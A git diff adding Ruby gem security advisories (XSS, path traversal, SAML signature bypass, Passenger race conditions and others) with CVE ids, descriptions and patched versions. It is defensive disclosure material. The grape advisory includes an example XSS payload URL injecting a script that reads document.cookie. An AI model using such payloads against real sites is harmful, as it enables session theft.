+  cve: 2017-16932
+  ghsa: x2fm-93ww-ggvx
+  url: https://github.com/sparklemotion/nokogiri/issues/1714
+  title: Nokogiri gem, via libxml, is affected by DoS vulnerabilities
+  date: 2018-01-29
+  description: |
+    The version of libxml2 packaged with Nokogiri contains a
+    vulnerability. Nokogiri has mitigated these issue by upgrading to
+    libxml 2.9.5.
+
+    Wei Lei discovered that libxml2 incorrecty handled certain parameter
+    entities. An attacker could use this issue with specially constructed XML
+    data to cause libxml2 to consume resources, leading to a denial of service.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.8.1"
+  related:
+    url:
+    - https://usn.ubuntu.com/usn/usn-3504-1/
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16932.html
+---
diff --git a/advisories/_posts/2018-02-18-CVE-2018-7212.md b/advisories/_posts/2018-02-18-CVE-2018-7212.md
new file mode 100644
index 00000000..2eb44330
--- /dev/null
+++ b/advisories/_posts/2018-02-18-CVE-2018-7212.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2018-7212 (rack-protection): Path traversal is possible via backslash
+  characters on Windows.'
+comments: false
+categories:
+- rack-protection
+advisory:
+  gem: rack-protection
+  cve: 2018-7212
+  url: https://github.com/sinatra/sinatra/pull/1379
+  title: Path traversal is possible via backslash characters on Windows.
+  date: 2018-02-18
+  description: |
+    An issue was discovered in rack-protection 2.x before 2.0.1 on Windows. Path traversal
+    is possible via backslash characters.
+  patched_versions:
+  - ">= 2.0.1"
+  - "~> 1.5.4"
+---
diff --git a/advisories/_posts/2018-02-19-CVE-2018-7261.md b/advisories/_posts/2018-02-19-CVE-2018-7261.md
new file mode 100644
index 00000000..5e4297af
--- /dev/null
+++ b/advisories/_posts/2018-02-19-CVE-2018-7261.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2018-7261 (radiant): Multiple persistent XSS vulnerabilities in Radiant
+  CMS'
+comments: false
+categories:
+- radiant
+advisory:
+  gem: radiant
+  cve: 2018-7261
+  ghsa: gp82-xr77-88f4
+  url: https://github.com/radiant/radiant/issues/412
+  title: Multiple persistent XSS vulnerabilities in Radiant CMS
+  date: 2018-02-19
+  description: |
+    There are multiple Persistent XSS vulnerabilities in Radiant CMS.
+    They affect Personal Preferences (Name and Username) and Configuration (Site Title,
+    Dev Site Domain, Page Parts, and Page Fields).
+  cvss_v2: 3.5
+  cvss_v3: 5.4
+---
diff --git a/advisories/_posts/2018-02-21-CVE-2018-1000088.md b/advisories/_posts/2018-02-21-CVE-2018-1000088.md
new file mode 100644
index 00000000..2e832cfa
--- /dev/null
+++ b/advisories/_posts/2018-02-21-CVE-2018-1000088.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2018-1000088 (doorkeeper): Doorkeeper gem has stored XSS on authorization
+  consent view'
+comments: false
+categories:
+- doorkeeper
+advisory:
+  gem: doorkeeper
+  cve: 2018-1000088
+  ghsa: hwhh-2fwm-cfgw
+  url: https://blog.justinbull.ca/cve-2018-1000088-stored-xss-in-doorkeeper/
+  title: Doorkeeper gem has stored XSS on authorization consent view
+  date: 2018-02-21
+  description: |
+    Stored XSS on the OAuth Client's name will cause users being prompted for
+    consent via the "implicit" grant type to execute the XSS payload.
+
+    The XSS attack could gain access to the user's active session, resulting in
+    account compromise.
+
+    Any user is susceptible if they click the authorization link for the
+    malicious OAuth client. Because of how the links work, a user cannot tell if
+    a link is malicious or not without first visiting the page with the XSS
+    payload.
+
+    If 3rd parties are allowed to create OAuth clients in the app using
+    Doorkeeper, upgrade to the patched versions immediately.
+
+    Additionally there is stored XSS in the native_redirect_uri form element.
+
+    DWF has assigned CVE-2018-1000088.
+  cvss_v3: 7.6
+  unaffected_versions:
+  - "< 2.1.0"
+  patched_versions:
+  - ">= 4.2.6"
+  related:
+    url:
+    - https://github.com/doorkeeper-gem/doorkeeper/issues/969
+    - https://github.com/doorkeeper-gem/doorkeeper/issues/970
+---
diff --git a/advisories/_posts/2018-02-27-CVE-2017-11428.md b/advisories/_posts/2018-02-27-CVE-2017-11428.md
new file mode 100644
index 00000000..37935acb
--- /dev/null
+++ b/advisories/_posts/2018-02-27-CVE-2017-11428.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2017-11428 (ruby-saml): Authentication bypass via incorrect XML canonicalization
+  and DOM traversal'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2017-11428
+  ghsa: x2fr-v8wf-8wwv
+  url: https://github.com/onelogin/ruby-saml/commit/048a544730930f86e46804387a6b6fad50d8176f
+  title: Authentication bypass via incorrect XML canonicalization and DOM traversal
+  date: 2018-02-27
+  description: |
+    ruby-saml prior to version 1.7.0 is vulnerable to an authentication bypass via incorrect
+    XML canonicalization and DOM traversal. Specifically, there are inconsistencies in
+    handling of comments within XML nodes, resulting in incorrect parsing of the inner text
+    of XML nodes such that any inner text after the comment is lost prior to
+    cryptographically signing the SAML message. Text after the comment therefore has no
+    impact on the signature on the SAML message.
+
+    A remote attacker can modify SAML content for a SAML service provider without
+    invalidating the cryptographic signature, which may allow attackers to bypass
+    primary authentication for the affected SAML service provider.
+  cvss_v2: 6.3
+  cvss_v3: 7.7
+  patched_versions:
+  - ">= 1.7.0"
+  related:
+    url:
+    - https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations
+    - https://www.kb.cert.org/vuls/id/475445
+---
diff --git a/advisories/_posts/2018-02-27-CVE-2017-11430.md b/advisories/_posts/2018-02-27-CVE-2017-11430.md
new file mode 100644
index 00000000..1eb53609
--- /dev/null
+++ b/advisories/_posts/2018-02-27-CVE-2017-11430.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-11430 (omniauth-saml): omniauth-saml authentication bypass via incorrect
+  XML canonicalization and DOM traversal'
+comments: false
+categories:
+- omniauth-saml
+advisory:
+  gem: omniauth-saml
+  cve: 2017-11430
+  ghsa: 94hm-8q65-rmxm
+  url: https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations
+  title: omniauth-saml authentication bypass via incorrect XML canonicalization and
+    DOM traversal
+  date: 2018-02-27
+  description: |
+    OmniAuth OmnitAuth-SAML 1.9.0 and earlier may incorrectly utilize the
+    results of XML DOM traversal and canonicalization APIs in such a way that an attacker
+    may be able to manipulate the SAML data without invalidating the cryptographic signature,
+    allowing the attack to potentially bypass authentication to SAML service providers.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.10.0"
+---
diff --git a/advisories/_posts/2018-03-07-CVE-2018-1000119.md b/advisories/_posts/2018-03-07-CVE-2018-1000119.md
new file mode 100644
index 00000000..c19c8d59
--- /dev/null
+++ b/advisories/_posts/2018-03-07-CVE-2018-1000119.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2018-1000119 (rack-protection): rack-protection gem timing attack vulnerability
+  when validating CSRF token'
+comments: false
+categories:
+- rack-protection
+advisory:
+  gem: rack-protection
+  cve: 2018-1000119
+  ghsa: 688c-3x49-6rqj
+  url: https://github.com/sinatra/rack-protection/pull/98
+  title: rack-protection gem timing attack vulnerability when validating CSRF token
+  date: 2018-03-07
+  description: |
+    Sinatra rack-protection versions 1.5.4 and 2.0.0.rc3 and earlier contains
+    a timing attack vulnerability in the CSRF token checking that can result in signatures
+    can be exposed. This attack appear to be exploitable via network connectivity to
+    the ruby application.
+  cvss_v2: 4.3
+  cvss_v3: 5.9
+  patched_versions:
+  - "~> 1.5.5"
+  - ">= 2.0.0"
+---
diff --git a/advisories/_posts/2018-03-16-CVE-2018-8048.md b/advisories/_posts/2018-03-16-CVE-2018-8048.md
new file mode 100644
index 00000000..f6ddebcc
--- /dev/null
+++ b/advisories/_posts/2018-03-16-CVE-2018-8048.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2018-8048 (loofah): Loofah XSS Vulnerability'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2018-8048
+  ghsa: x7rv-cr6v-4vm4
+  url: https://github.com/flavorjones/loofah/issues/144
+  title: Loofah XSS Vulnerability
+  date: 2018-03-16
+  description: |
+    Loofah allows non-whitelisted attributes to be present in sanitized
+    output when input with specially-crafted HTML fragments.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 2.2.1"
+---
diff --git a/advisories/_posts/2018-03-19-CVE-2018-3740.md b/advisories/_posts/2018-03-19-CVE-2018-3740.md
new file mode 100644
index 00000000..07591c69
--- /dev/null
+++ b/advisories/_posts/2018-03-19-CVE-2018-3740.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2018-3740 (sanitize): HTML injection/XSS in Sanitize'
+comments: false
+categories:
+- sanitize
+advisory:
+  gem: sanitize
+  cve: 2018-3740
+  ghsa: 7f42-p84j-f58p
+  url: https://github.com/rgrove/sanitize/issues/176
+  title: HTML injection/XSS in Sanitize
+  date: 2018-03-19
+  description: |
+    When Sanitize gem is used in combination with libxml2 >= 2.9.2,
+    a specially crafted HTML fragment can cause libxml2 to generate
+    improperly escaped output, allowing non-whitelisted attributes to be
+    used on whitelisted elements.
+
+    This can allow HTML and JavaScript injection, which could result in XSS
+    if Sanitize's output is served to browsers.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 1.1.0"
+  patched_versions:
+  - "~> 2.1.1"
+  - ">= 4.6.3"
+  related:
+    url:
+    - https://github.com/rgrove/sanitize/commit/01629a162e448a83d901456d0ba8b65f3b03d46e
+---
diff --git a/advisories/_posts/2018-03-22-CVE-2018-3741.md b/advisories/_posts/2018-03-22-CVE-2018-3741.md
new file mode 100644
index 00000000..bd36967a
--- /dev/null
+++ b/advisories/_posts/2018-03-22-CVE-2018-3741.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2018-3741 (rails-html-sanitizer): XSS vulnerability in rails-html-sanitizer'
+comments: false
+categories:
+- rails-html-sanitizer
+advisory:
+  gem: rails-html-sanitizer
+  cve: 2018-3741
+  ghsa: px3r-jm9g-c8w8
+  url: https://groups.google.com/d/msg/rubyonrails-security/tP7W3kLc5u4/uDy2Br7xBgAJ
+  title: XSS vulnerability in rails-html-sanitizer
+  date: 2018-03-22
+  description: |
+    There is a possible XSS vulnerability in rails-html-sanitizer.  The gem allows
+    non-whitelisted attributes to be present in sanitized output when input with
+    specially-crafted HTML fragments, and these attributes can lead to an XSS attack
+    on target applications.
+
+    This issue is similar to CVE-2018-8048 in Loofah.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.0.4"
+  related:
+    cve:
+    - 2018-8048
+    url:
+    - https://github.com/rails/rails-html-sanitizer/commit/f3ba1a839a35f2ba7f941c15e239a1cb379d56ae
+---
diff --git a/advisories/_posts/2018-03-29-CVE-2018-8048.md b/advisories/_posts/2018-03-29-CVE-2018-8048.md
new file mode 100644
index 00000000..4df63a99
--- /dev/null
+++ b/advisories/_posts/2018-03-29-CVE-2018-8048.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-8048 (nokogiri): Revert libxml2 behavior in Nokogiri gem that could
+  cause XSS'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2018-8048
+  ghsa: x7rv-cr6v-4vm4
+  url: https://github.com/sparklemotion/nokogiri/pull/1746
+  title: Revert libxml2 behavior in Nokogiri gem that could cause XSS
+  date: 2018-03-29
+  description: |
+    [MRI] Behavior in libxml2 has been reverted which caused
+    CVE-2018-8048 (loofah gem), CVE-2018-3740 (sanitize gem), and
+    CVE-2018-3741 (rails-html-sanitizer gem). The commit in question is
+    here:
+
+    https://github.com/GNOME/libxml2/commit/960f0e2
+
+    and more information is available about this commit and its impact
+    here:
+
+    https://github.com/flavorjones/loofah/issues/144
+
+    This release simply reverts the libxml2 commit in question to protect
+    users of Nokogiri's vendored libraries from similar vulnerabilities.
+
+    If you're offended by what happened here, I'd kindly ask that you
+    comment on the upstream bug report here:
+
+    https://bugzilla.gnome.org/show_bug.cgi?id=769760
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.8.3"
+  related:
+    cve:
+    - 2018-3740
+    - 2018-3741
+    url:
+    - https://github.com/GNOME/libxml2/commit/960f0e2
+    - https://bugzilla.gnome.org/show_bug.cgi?id=769760
+---
diff --git a/advisories/_posts/2018-04-13-CVE-2017-18258.md b/advisories/_posts/2018-04-13-CVE-2017-18258.md
new file mode 100644
index 00000000..6d02e071
--- /dev/null
+++ b/advisories/_posts/2018-04-13-CVE-2017-18258.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2017-18258 (nokogiri): Moderate severity vulnerability that affects nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2017-18258
+  ghsa: 882p-jqgm-f45g
+  url: https://git.gnome.org/browse/libxml2/commit/?id=e2a9122b8dde53d320750451e9907a7dcb2ca8bb
+  title: Moderate severity vulnerability that affects nokogiri
+  date: 2018-04-13
+  description: |
+    The xz_head function in xzlib.c in libxml2 before 2.9.6 allows remote attackers to cause a denial
+    of service (memory consumption) via a crafted LZMA file, because the decoder functionality does
+    not restrict memory usage to what is required for a legitimate file.
+
+    References:
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-18258
+      - https://git.gnome.org/browse/libxml2/commit/?id=e2a9122b8dde53d320750451e9907a7dcb2ca8bb
+      - https://github.com/advisories/GHSA-882p-jqgm-f45g
+      - https://kc.mcafee.com/corporate/index?page=content&id=SB10284
+      - https://lists.debian.org/debian-lts-announce/2018/09/msg00035.html
+      - https://lists.debian.org/debian-lts-announce/2020/09/msg00009.html
+      - https://security.netapp.com/advisory/ntap-20190719-0001/
+      - https://usn.ubuntu.com/3739-1/
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 1.8.2"
+---
diff --git a/advisories/_posts/2018-04-23-CVE-2019-3881.md b/advisories/_posts/2018-04-23-CVE-2019-3881.md
new file mode 100644
index 00000000..0afee844
--- /dev/null
+++ b/advisories/_posts/2018-04-23-CVE-2019-3881.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2019-3881 (bundler): Insecure path handling in Bundler'
+comments: false
+categories:
+- bundler
+advisory:
+  gem: bundler
+  cve: 2019-3881
+  ghsa: g98m-96g9-wfjq
+  url: https://github.com/advisories/GHSA-g98m-96g9-wfjq
+  date: 2018-04-23
+  title: Insecure path handling in Bundler
+  description: |
+    Bundler prior to 2.1.0 uses a predictable path in /tmp/, created with
+    insecure permissions as a storage location for gems, if locations under the user's
+    home directory are not available. If Bundler is used in a scenario where the user
+    does not have a writable home directory, an attacker could place malicious code
+    in this directory that would be later loaded and executed.
+  cvss_v3: 7.0
+  patched_versions:
+  - ">= 2.1.0"
+  unaffected_versions:
+  - "< 1.14.0"
+---
diff --git a/advisories/_posts/2018-04-30-CVE-2018-1000539.md b/advisories/_posts/2018-04-30-CVE-2018-1000539.md
new file mode 100644
index 00000000..2963786c
--- /dev/null
+++ b/advisories/_posts/2018-04-30-CVE-2018-1000539.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2018-1000539 (json-jwt): Auth tag forgery vulnerability with AES-GCM encrypted
+  JWT'
+comments: false
+categories:
+- json-jwt
+advisory:
+  gem: json-jwt
+  cve: 2018-1000539
+  ghsa: mj4x-wcxf-hm8x
+  url: https://github.com/nov/json-jwt/pull/62
+  title: Auth tag forgery vulnerability with AES-GCM encrypted JWT
+  date: 2018-04-30
+  description: |
+    Ruby's OpenSSL bindings do not check the length of the supplied
+    authentication tag when decrypting an authenticated encryption mode
+    such as AES-GCM, leaving this up to the authors of a gem/app to
+    implement for properly validating the message.
+
+    json-jwt was not checking for the authentication tag length, meaning
+    that with a one byte tag the JWT would be considered not tampered
+    with. This means that with an average of 128 (max 256) attempts an
+    attacker can forge a valid signature.
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 0.5.1"
+  patched_versions:
+  - ">= 1.9.4"
+---
diff --git a/advisories/_posts/2018-05-03-CVE-2018-3759.md b/advisories/_posts/2018-05-03-CVE-2018-3759.md
new file mode 100644
index 00000000..1ce10f1a
--- /dev/null
+++ b/advisories/_posts/2018-05-03-CVE-2018-3759.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2018-3759 (private_address_check): private_address_check Ruby Gem Time-of-check
+  Time-of-use race condition'
+comments: false
+categories:
+- private_address_check
+advisory:
+  gem: private_address_check
+  cve: 2018-3759
+  ghsa: 2xvj-j3qh-x8c3
+  url: https://github.com/jtdowney/private_address_check/commit/4068228187db87fea7577f7020099399772bb147
+  title: private_address_check Ruby Gem Time-of-check Time-of-use race condition
+  date: 2018-05-03
+  description: |
+    private_address_check ruby gem before 0.5.0 is vulnerable to a time-of-check time-of-use (TOCTOU)
+    race condition due to the address the socket uses not being checked. DNS entries with a TTL of 0
+    can trigger this case where the initial resolution is a public address by the subsequent
+    resolution is a private address.
+  patched_versions:
+  - ">= 0.5.0"
+---
diff --git a/advisories/_posts/2018-05-23-CVE-2018-3769.md b/advisories/_posts/2018-05-23-CVE-2018-3769.md
new file mode 100644
index 00000000..5ee46117
--- /dev/null
+++ b/advisories/_posts/2018-05-23-CVE-2018-3769.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2018-3769 (grape): ruby-grape Gem has XSS via "format" parameter'
+comments: false
+categories:
+- grape
+advisory:
+  gem: grape
+  cve: 2018-3769
+  ghsa: f599-5m7p-hcpf
+  url: https://github.com/ruby-grape/grape/issues/1762
+  title: ruby-grape Gem has XSS via "format" parameter
+  date: 2018-05-23
+  description: |
+    When request on API contains the "format" parameter in GET, the input
+    value of this parameter is rendered as the web-server responds with
+    text/html header.
+
+    Example:
+    http://example.com/api/endpoint?format=%3Cscript%3Ealert(document.cookie)%3C/script%3E
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.1.0"
+  related:
+    url:
+    - https://github.com/ruby-grape/grape/pull/1763
+    - https://github.com/ruby-grape/grape/commit/6876b71efc7b03f7ce1be3f075eaa4e7e6de19af
+---
diff --git a/advisories/_posts/2018-05-31-CVE-2018-11627.md b/advisories/_posts/2018-05-31-CVE-2018-11627.md
new file mode 100644
index 00000000..fbddb16f
--- /dev/null
+++ b/advisories/_posts/2018-05-31-CVE-2018-11627.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2018-11627 (sinatra): XSS via the 400 Bad Request page'
+comments: false
+categories:
+- sinatra
+advisory:
+  gem: sinatra
+  cve: 2018-11627
+  ghsa: mq35-wqvf-r23c
+  url: https://github.com/sinatra/sinatra/issues/1428
+  title: XSS via the 400 Bad Request page
+  date: 2018-05-31
+  description: |
+    Sinatra before 2.0.2 has XSS via the 400 Bad Request page that occurs
+    upon a params parser exception.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 2.0.0.beta1"
+  - "= 2.0.0-alpha"
+  patched_versions:
+  - ">= 2.0.2"
+---
diff --git a/advisories/_posts/2018-06-12-CVE-2018-12026.md b/advisories/_posts/2018-06-12-CVE-2018-12026.md
new file mode 100644
index 00000000..aa6a5027
--- /dev/null
+++ b/advisories/_posts/2018-06-12-CVE-2018-12026.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2018-12026 (passenger): SpawningKit exploits'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2018-12026
+  ghsa: 7cv3-gvmc-8mq5
+  url: https://blog.phusion.nl/2018/06/12/passenger-5-3-2-various-security-fixes/
+  title: SpawningKit exploits
+  date: 2018-06-12
+  description: |
+    During the spawning of a malicious Passenger-managed application, SpawningKit
+    in Phusion Passenger 5.3.x before 5.3.2 allows such applications to replace
+    key files or directories in the spawning communication directory with
+    symlinks. This then could result in arbitrary reads and writes, which in turn
+    can result in information disclosure and privilege escalation.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 5.3.0"
+  patched_versions:
+  - ">= 5.3.2"
+  related:
+    cve:
+    - 2018-12027
+    - 2018-12028
+---
diff --git a/advisories/_posts/2018-06-12-CVE-2018-12027.md b/advisories/_posts/2018-06-12-CVE-2018-12027.md
new file mode 100644
index 00000000..5b444dfb
--- /dev/null
+++ b/advisories/_posts/2018-06-12-CVE-2018-12027.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2018-12027 (passenger): Insecure Permissions in Phusion Passenger'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2018-12027
+  ghsa: whfx-877c-5p28
+  url: https://blog.phusion.nl/passenger-5-3-2
+  title: Insecure Permissions in Phusion Passenger
+  date: 2018-06-12
+  description: |
+    "An Insecure Permissions vulnerability in SpawningKit in Phusion Passenger
+    5.3.x before 5.3.2 causes information disclosure in the following situation: given
+    a Passenger-spawned application process that reports that it listens on a certain
+    Unix domain socket, if any of the parent directories of said socket are writable
+    by a normal user that is not the application''s user, then that non-application
+    user can swap that directory with something else, resulting in traffic being redirected
+    to a non-application user''s process through an alternative Unix domain socket."
+  cvss_v2: 6.5
+  cvss_v3: 8.8
+  unaffected_versions:
+  - "< 5.3.0"
+  patched_versions:
+  - ">= 5.3.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-12027
+    - https://blog.phusion.nl/passenger-5-3-2
+    - https://security.gentoo.org/glsa/201807-02
+    - https://github.com/advisories/GHSA-whfx-877c-5p28
+---
diff --git a/advisories/_posts/2018-06-12-CVE-2018-12028.md b/advisories/_posts/2018-06-12-CVE-2018-12028.md
new file mode 100644
index 00000000..8279d0d9
--- /dev/null
+++ b/advisories/_posts/2018-06-12-CVE-2018-12028.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2018-12028 (passenger): Incorrect Access Control in Phusion Passenger'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2018-12028
+  ghsa: jjhj-8gx7-x836
+  url: https://blog.phusion.nl/passenger-5-3-2
+  title: Incorrect Access Control in Phusion Passenger
+  date: 2018-06-12
+  description: |
+    An Incorrect Access Control vulnerability in SpawningKit in Phusion Passenger
+    5.3.x before 5.3.2 allows a Passenger-managed malicious application, upon spawning
+    a child process, to report an arbitrary different PID back to Passenger's process
+    manager. If the malicious application then generates an error, it would cause Passenger's
+    process manager to kill said reported arbitrary PID.
+  cvss_v2: 6.8
+  cvss_v3: 7.8
+  unaffected_versions:
+  - "< 5.3.0"
+  patched_versions:
+  - ">= 5.3.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-12028
+    - https://blog.phusion.nl/passenger-5-3-2
+    - https://security.gentoo.org/glsa/201807-02
+    - https://github.com/advisories/GHSA-jjhj-8gx7-x836
+---
diff --git a/advisories/_posts/2018-06-12-CVE-2018-12029.md b/advisories/_posts/2018-06-12-CVE-2018-12029.md
new file mode 100644
index 00000000..7d9a3223
--- /dev/null
+++ b/advisories/_posts/2018-06-12-CVE-2018-12029.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2018-12029 (passenger): CHMOD race vulnerability'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2018-12029
+  ghsa: jjcj-fgfm-9g9r
+  url: https://blog.phusion.nl/2018/06/12/passenger-5-3-2-various-security-fixes/
+  title: CHMOD race vulnerability
+  date: 2018-06-12
+  description: |
+    The file system access race condition allows for local privilege escalation
+    and affects the Nginx module for Passenger versions 5.3.1, all the way back
+    to 3.0.0 (the chown command entered the code in 2010).
+
+    The vulnerability was exploitable only when running a non-standard
+    `passenger_instance_registry_dir`, via a race condition where after a file
+    was created, there was a window in which it could be replaced with a symlink
+    before it was chowned via the path and not the file descriptor.
+
+    If the symlink target was to a file which would be executed by root such as
+    root's crontab file, then privilege escalation was possible.
+  cvss_v2: 4.4
+  cvss_v3: 7.0
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - ">= 5.3.2"
+---
diff --git a/advisories/_posts/2018-06-14-CVE-2018-1000544.md b/advisories/_posts/2018-06-14-CVE-2018-1000544.md
new file mode 100644
index 00000000..1a71543a
--- /dev/null
+++ b/advisories/_posts/2018-06-14-CVE-2018-1000544.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2018-1000544 (rubyzip): Directory Traversal in rubyzip'
+comments: false
+categories:
+- rubyzip
+advisory:
+  gem: rubyzip
+  cve: 2018-1000544
+  ghsa: vqcq-mrmw-mcmg
+  url: https://github.com/rubyzip/rubyzip/issues/369
+  title: Directory Traversal in rubyzip
+  date: 2018-06-14
+  description: |
+    rubyzip version 1.2.1 and earlier contains a Directory Traversal vulnerability
+    in Zip::File component that can result in write arbitrary files to the filesystem.
+    If a site allows uploading of .zip files, an attacker can upload a malicious file
+    which contains symlinks or files with absolute pathnames "../" to write arbitrary
+    files to the filesystem.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.2.2"
+  related:
+    cve:
+    - 2017-5946
+    url:
+    - https://security-tracker.debian.org/tracker/CVE-2018-1000544
+---
diff --git a/advisories/_posts/2018-06-19-CVE-2018-3760.md b/advisories/_posts/2018-06-19-CVE-2018-3760.md
new file mode 100644
index 00000000..107ddb51
--- /dev/null
+++ b/advisories/_posts/2018-06-19-CVE-2018-3760.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2018-3760 (sprockets): Path Traversal in Sprockets'
+comments: false
+categories:
+- sprockets
+advisory:
+  gem: sprockets
+  cve: 2018-3760
+  ghsa: pr3h-jjhj-573x
+  url: https://groups.google.com/forum/#!topic/ruby-security-ann/2S9Pwz2i16k
+  title: Path Traversal in Sprockets
+  date: 2018-06-19
+  description: |
+    Specially crafted requests can be used to access files that exist on
+    the filesystem that is outside an application's root directory, when the
+    Sprockets server is used in production.
+
+    All users running an affected release should either upgrade or use one of the work arounds immediately.
+
+    Workaround:
+    In Rails applications, work around this issue, set `config.assets.compile = false` and
+    `config.public_file_server.enabled = true` in an initializer and precompile the assets.
+
+     This work around will not be possible in all hosting environments and upgrading is advised.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.12.5, < 3.0.0"
+  - ">= 3.7.2, < 4.0.0"
+  - ">= 4.0.0.beta8"
+---
diff --git a/advisories/_posts/2018-06-22-CVE-2018-1000201.md b/advisories/_posts/2018-06-22-CVE-2018-1000201.md
new file mode 100644
index 00000000..49073c63
--- /dev/null
+++ b/advisories/_posts/2018-06-22-CVE-2018-1000201.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2018-1000201 (ffi): ruby-ffi DDL loading issue on Windows OS'
+comments: false
+categories:
+- ffi
+advisory:
+  gem: ffi
+  cve: 2018-1000201
+  ghsa: 2gw2-8q9w-cw8p
+  url: https://github.com/ffi/ffi/releases/tag/1.9.24
+  title: ruby-ffi DDL loading issue on Windows OS
+  date: 2018-06-22
+  description: |
+    ruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be
+    hijacked on Windows OS, when a Symbol is used as DLL name instead of a String
+    This vulnerability appears to have been fixed in v1.9.24 and later.
+  cvss_v2: 6.8
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 1.9.24"
+  related:
+    url:
+    - https://github.com/ffi/ffi/commit/09e0c6076466b4383da7fa4e13f714311109945a
+    - https://github.com/ffi/ffi/commit/e0fe486df0e117ed67b0282b6ada04b7214ca05c
+---
diff --git a/advisories/_posts/2018-07-03-CVE-2018-14040.md b/advisories/_posts/2018-07-03-CVE-2018-14040.md
new file mode 100644
index 00000000..8b21fe0a
--- /dev/null
+++ b/advisories/_posts/2018-07-03-CVE-2018-14040.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2018-14040 (bootstrap): XSS vulnerabilities via data-parent, data-target,
+  data-container in bootstrap'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2018-14040
+  ghsa: 3wqf-4x89-9g79
+  url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/
+  title: XSS vulnerabilities via data-parent, data-target, data-container in bootstrap
+  date: 2018-07-03
+  description: |
+    In Bootstrap before 4.1.2, XSS is possible in collapse data-parent
+    attribute (CVE-2018-14040), data-target property of scrollspy
+    (CVE-2018-14041), data-container property of tooltip (CVE-2018-14042)
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.1.2"
+  related:
+    cve:
+    - 2018-14041
+    - 2018-14042
+    url:
+    - https://nvd.nist.gov/vuln/detail/cve-2018-14040
+    - https://github.com/twbs/bootstrap/issues/26423
+    - https://github.com/twbs/bootstrap/pull/26630
+    - https://github.com/advisories/GHSA-3wqf-4x89-9g79
+---
diff --git a/advisories/_posts/2018-07-11-CVE-2018-1000211.md b/advisories/_posts/2018-07-11-CVE-2018-1000211.md
new file mode 100644
index 00000000..a8303dcd
--- /dev/null
+++ b/advisories/_posts/2018-07-11-CVE-2018-1000211.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2018-1000211 (doorkeeper): Doorkeeper gem does not revoke token for public
+  clients'
+comments: false
+categories:
+- doorkeeper
+advisory:
+  gem: doorkeeper
+  cve: 2018-1000211
+  ghsa: 694m-jhr9-pf77
+  url: https://blog.justinbull.ca/cve-2018-1000211-public-apps-cant-revoke-tokens-in-doorkeeper/
+  title: Doorkeeper gem does not revoke token for public clients
+  date: 2018-07-11
+  description: |
+    Any OAuth application that uses public/non-confidential authentication when
+    interacting with Doorkeeper is unable to revoke its tokens when calling the
+    revocation endpoint.
+
+    A bug in the token revocation API would cause it to attempt to authenticate
